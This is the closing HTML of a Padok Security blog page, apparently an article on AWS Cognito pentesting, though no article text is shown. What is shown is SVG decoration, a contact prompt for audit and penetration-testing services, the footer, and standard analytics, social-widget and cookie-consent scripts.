<radialGradient id="paint1_radial_1033_1206" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(329.855 362.476) rotate(-30.2597) scale(586.599 1292.84)">
<stop offset="0.137947" stop-color="#120852" stop-opacity="0.68"></stop>
<stop offset="0.438639" stop-color="#243190"></stop>
</radialGradient>
<linearGradient id="paint2_linear_1033_1206" x1="638.146" y1="59.8349" x2="519.15" y2="201.742" gradientUnits="userSpaceOnUse">
<stop offset="0.0672283" stop-color="white" stop-opacity="0"></stop>
<stop offset="0.526214" stop-color="white" stop-opacity="0.3"></stop>
<stop offset="1" stop-color="white" stop-opacity="0"></stop>
</linearGradient>
</defs>
</svg>
<div class="position-relative">
<div class="title tf-a mb-1">
<p>Vous avez un projet ?</p>
</div>
<div class="description"><p>Audit, test d'intrusion, sécurisation ? Nous sommes à votre écoute</p></div>
</div>
<a class="btn primary mt-2 mt-md-0 z-md" href="https://security.padok.fr/contact">Nous contacter</a>
</div>
</div>
</aside></div>
</div>
</div>
</div>
</main>
<div data-global-resource-path="Padok-security/templates/partials/footer.html"><div id="hs_cos_wrapper_footer" class="hs_cos_wrapper hs_cos_wrapper_widget hs_cos_wrapper_type_module" style="" data-hs-cos-general-type="widget" data-hs-cos-type="module">
<footer id="" class="footer position-relative pt-10 pb-5">
<svg class="pattern position-absolute" width="855" height="582" viewBox="0 0 855 582" fill="none" xmlns="http://www.w3.org/2000/svg">
<path fill-rule="evenodd" clip-rule="evenodd" d="M854.907 268.25L391.027 615.169C359.943 638.416 317.06 637.653 286.823 613.315L0 382.452L33.545 340.868L288.065 545.682C318.302 570.014 361.18 570.775 392.261 547.53L822.909 225.464L854.907 268.25Z" fill="url(#paint0_radial_1497_917)"></path>
<path d="M270.297 531.536L297.682 552.023C323.003 570.965 357.721 571.169 383.263 552.524L573.766 413.461" stroke="url(#paint1_linear_1497_917)"></path>
<path d="M268.227 600.375L295.506 620.782C320.878 639.763 355.676 639.925 381.224 621.183L772 334.5" stroke="url(#paint2_linear_1497_917)"></path>
<path fill-rule="evenodd" clip-rule="evenodd" d="M579.039 35C579.039 15.67 563.369 0 544.039 0H139.602C120.272 0 104.602 15.67 104.602 35V318.338C104.602 342.077 115.84 364.415 134.902 378.563L320.961 516.657C333.347 525.85 350.293 525.85 362.68 516.657L548.738 378.563C567.8 364.415 579.039 342.077 579.039 318.338V35Z" fill="url(#paint3_linear_1497_917)"></path>
<defs>
<radialGradient id="paint0_radial_1497_917" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(350 625.5) rotate(-110.835) scale(324.734 321.236)">
<stop offset="0.0398389" stop-color="#EFECFE"></stop>
<stop offset="0.963542" stop-color="#F3F1FE" stop-opacity="0"></stop>
</radialGradient>
<linearGradient id="paint1_linear_1497_917" x1="586.054" y1="427.352" x2="298.614" y2="559.319" gradientUnits="userSpaceOnUse">
<stop offset="0.0672283" stop-color="white" stop-opacity="0"></stop>
<stop offset="0.526214" stop-color="#0414A4" stop-opacity="0.45"></stop>
<stop offset="1" stop-color="white" stop-opacity="0"></stop>
</linearGradient>
<linearGradient id="paint2_linear_1497_917" x1="697.25" y1="411.776" x2="477.663" y2="567.784" gradientUnits="userSpaceOnUse">
<stop offset="0.0672283" stop-color="white" stop-opacity="0"></stop>
<stop offset="0.526214" stop-color="#0414A4" stop-opacity="0.45"></stop>
<stop offset="1" stop-color="white" stop-opacity="0"></stop>
</linearGradient>
<linearGradient id="paint3_linear_1497_917" x1="84.0001" y1="802" x2="410.429" y2="-119.882" gradientUnits="userSpaceOnUse">
<stop offset="0.0322103" stop-color="#CAC1FB"></stop>
<stop offset="0.461516" stop-color="#F3F1FE"></stop>
<stop offset="0.708051" stop-color="#F3F1FE" stop-opacity="0"></stop>
</linearGradient>
</defs>
</svg>
<div class="container position-relative z-md">
<a class="d-block d-lg-none" href="https://security.padok.fr">
<img class="lazy img-fluid" src="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 160 160'%3E%3C/svg%3E" data-src="https://www.padok.fr/hubfs/Padok-Security/Logos/padok-security.svg" alt="padok-security" data-ll-status="observed" width="160" height="160">
</a>
<div class="row"><div class="col-lg-6 offset-lg-2 order-lg-last">
<nav class="mt-3 mt-lg-0" aria-label="footer">
<ul class="footer--menu d-flex justify-content-between flex-wrap list-unstyled m-0 p-0">
<li class="mt-1 mt-md-0"><p class="footer--category label mb-1 mb-md-2">Global</p><ul class="m-0 pl-0 list-unstyled" aria-role="menu">
<li class="mt-1 mt-md-0"><a class="footer--category__children d-block text-decoration-none mb-1" href="https://security.padok.fr/equipe" aria-role="menuitem">À propos</a></li><li class="mt-1 mt-md-0"><a class="footer--category__children d-block text-decoration-none mb-1" href="https://security.padok.fr/equipe#rejoignez-nous" aria-role="menuitem">Rejoignez-nous</a></li><li class="mt-1 mt-md-0"><a class="footer--category__children d-block text-decoration-none mb-1" href="https://www.padok.fr/en/blog/tag/security" aria-role="menuitem" target="_blank">Blog</a></li><li class="mt-1 mt-md-0"><a class="footer--category__children d-block text-decoration-none mb-1" href="https://security.padok.fr/contact" aria-role="menuitem">Contact</a></li></ul></li>
<li class="mt-1 mt-md-0"><p class="footer--category label mb-1 mb-md-2">Offres</p><ul class="m-0 pl-0 list-unstyled" aria-role="menu">
<li class="mt-1 mt-md-0"><a class="footer--category__children d-block text-decoration-none mb-1" href="https://security.padok.fr/offre-audit-securite" aria-role="menuitem">Audit de sécurité</a></li><li class="mt-1 mt-md-0"><a class="footer--category__children d-block text-decoration-none mb-1" href="https://security.padok.fr/offre-pentest-securite" aria-role="menuitem">Test d'intrusion</a></li><li class="mt-1 mt-md-0"><a class="footer--category__children d-block text-decoration-none mb-1" href="https://security.padok.fr/offre-securisation" aria-role="menuitem">Sécurisation</a></li><li class="mt-1 mt-md-0"><a class="footer--category__children d-block text-decoration-none mb-1" href="https://www.padok.fr" aria-role="menuitem" target="_blank">Cloud & infrastructure</a></li></ul></li>
<li class="mt-1 mt-md-0"><p class="footer--category label mb-1 mb-md-2">Confidentialité</p><ul class="m-0 pl-0 list-unstyled" aria-role="menu">
<li class="mt-1 mt-md-0"><a class="footer--category__children d-block text-decoration-none mb-1" href="https://security.padok.fr/mentions-legales" aria-role="menuitem">Mentions légales</a></li><li class="mt-1 mt-md-0"><a class="footer--category__children d-block text-decoration-none mb-1" href="https://security.padok.fr/gestion-cookies" aria-role="menuitem">Gestion des cookies</a></li></ul></li>
</ul>
</nav>
</div>
<div class="col-lg-3">
<a class="d-none d-lg-block" href="https://security.padok.fr">
<img class="lazy img-fluid" src="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 160 160'%3E%3C/svg%3E" data-src="https://www.padok.fr/hubfs/Padok-Security/Logos/padok-security.svg" alt="padok-security" data-ll-status="observed" width="160" height="160">
</a>
<nav class="footer--socials d-flex flex-wrap justify-content-center justify-content-lg-start my-2">
<a class="footer--socials__item d-flex align-items-center justify-content-center rounded text-decoration-none" href="https://fr.linkedin.com/company/padokm33" target="_blank">
<img class="lazy img-fluid gradient-img" src="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 78 60'%3E%3C/svg%3E" data-src="https://www.padok.fr/hubfs/Padok%20Security/Pictos/linkedin-padok.svg" alt="linkedin-padok" data-ll-status="observed">
</a>
<a class="footer--socials__item d-flex align-items-center justify-content-center rounded text-decoration-none" href="https://twitter.com/padok_m33" target="_blank">
<img class="lazy img-fluid gradient-img" src="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 78 60'%3E%3C/svg%3E" data-src="https://www.padok.fr/hubfs/Padok%20Security/Pictos/twitter-padok.svg" alt="twitter-padok" data-ll-status="observed">
</a>
</nav>
<div class="description text-center text-lg-left mb-2">
<p>Padok Security, <br>Expert en Cybersécurité à Paris <br>1 rue de Saint-Pétersbourg <br>Paris 75008</p>
</div>
<p class="text-center text-lg-left">Copyright © 2021 Padok</p>
</div>
</div>
</div>
</footer></div></div>
</div>
<!-- HubSpot performance collection script -->
<script defer="" src="https://static.hsappstatic.net/content-cwv-embed/static-1.388/embed.js"></script>
<script src="https://security.padok.fr/hs-fs/hub/5129574/hub_generated/template_assets/67436431178/1687513090045/Padok-security/js/main.min.js"></script>
<script src="https://security.padok.fr/hs-fs/hub/5129574/hub_generated/template_assets/74850219631/1653902612395/Padok-security/js/cookies-management.min.js"></script>
<script>
var hsVars = hsVars || {}; hsVars['language'] = 'en';
</script>
<script src="/hs/hsstatic/cos-i18n/static-1.53/bundles/project.js"></script>
<!-- Start of HubSpot Analytics Code -->
<script type="text/javascript">
var _hsq = _hsq || [];
_hsq.push(["setContentType", "blog-post"]);
_hsq.push(["setCanonicalUrl", "https:\/\/security.padok.fr\/en\/blog\/aws-cognito-pentest"]);
_hsq.push(["setPageId", "112692848203"]);
_hsq.push(["setContentMetadata", {
"contentPageId": 112692848203,
"legacyPageId": "112692848203",
"contentFolderId": null,
"contentGroupId": 112686781973,
"abTestId": null,
"languageVariantId": 112692848203,
"languageCode": "en",
}]);
</script>
<script type="text/javascript" id="hs-script-loader" async="" defer="" src="/hs/scriptloader/5129574.js"></script>
<!-- End of HubSpot Analytics Code -->
<script type="text/javascript">
var hsVars = {
render_id: "54f72ffd-4035-4cc9-8f73-02b777df0623",
ticks: 1695626571002,
page_id: 112692848203,
content_group_id: 112686781973,
portal_id: 5129574,
app_hs_base_url: "https://app.hubspot.com",
cp_hs_base_url: "https://cp.hubspot.com",
language: "en",
analytics_page_type: "blog-post",
analytics_page_id: "112692848203",
category_id: 3,
folder_id: 0,
is_hubspot_user: false
}
</script>
<script defer="" src="/hs/hsstatic/HubspotToolsMenu/static-1.191/js/index.js"></script>
<script>
window.dataLayer = window.dataLayer || [];
var _hsp = window._hsp = window._hsp || [];
_hsp.push(['addPrivacyConsentListener', function(consent) {
console.log("Le consentement est : ", consent);
console.log(consent.categories);
if(consent.categories.advertisement){
createConsentCookie('advertising_consent', 1, 365);
}
if(!consent.categories.advertisement){
window.dataLayer.push({
'event': 'adversitingConsentEvent'
});
createConsentCookie('advertising_consent', 0, 365);
} if(!consent.categories.analytics){
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-138651091-2');
gtag('create', 'UA-138651091-2', { storage: "none" });
gtag("set", "anonymizeIp", true);
console.log("refus : ");
window.dataLayer.push({
'event': 'analyticsConsentEvent'
});
createConsentCookie('analytics_consent', 0, 365);
} if(consent.categories.analytics){
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-138651091-2']);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
window.dataLayer.push({
'event': 'analyticsConsentEventOk'
});
createConsentCookie('analytics_consent', 1, 365);
}
if(!consent.categories.functionality){
window.dataLayer.push({
'event': 'functionalityConsentEvent'
});
createConsentCookie('functions_consent', 0, 365);
}
if(consent.categories.functionality){
createConsentCookie('functions_consent', 1, 365);
}
}]);
</script>
<div id="fb-root" class=" fb_reset"><div style="position: absolute; top: -10000px; width: 0px; height: 0px;"><div></div></div></div>
<script>(function(d, s, id) {
var js, fjs = d.getElementsByTagName(s)[0];
if (d.getElementById(id)) return;
js = d.createElement(s); js.id = id;
js.src = "//connect.facebook.net/en_GB/all.js#xfbml=1&status=0";
fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'facebook-jssdk'));</script>
<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="https://platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs");</script>
<script src="https://www.googletagmanager.com/gtag/js?id=UA-138651091-2" async=""></script><iframe scrolling="no" allowtransparency="true" src="https://platform.twitter.com/widgets/widget_iframe.2b2d73daf636805223fb11d48f3e94f7.html?origin=https%3A%2F%2Fsecurity.padok.fr" title="Twitter settings iframe" style="display: none;" frameborder="0"></iframe></body></html>
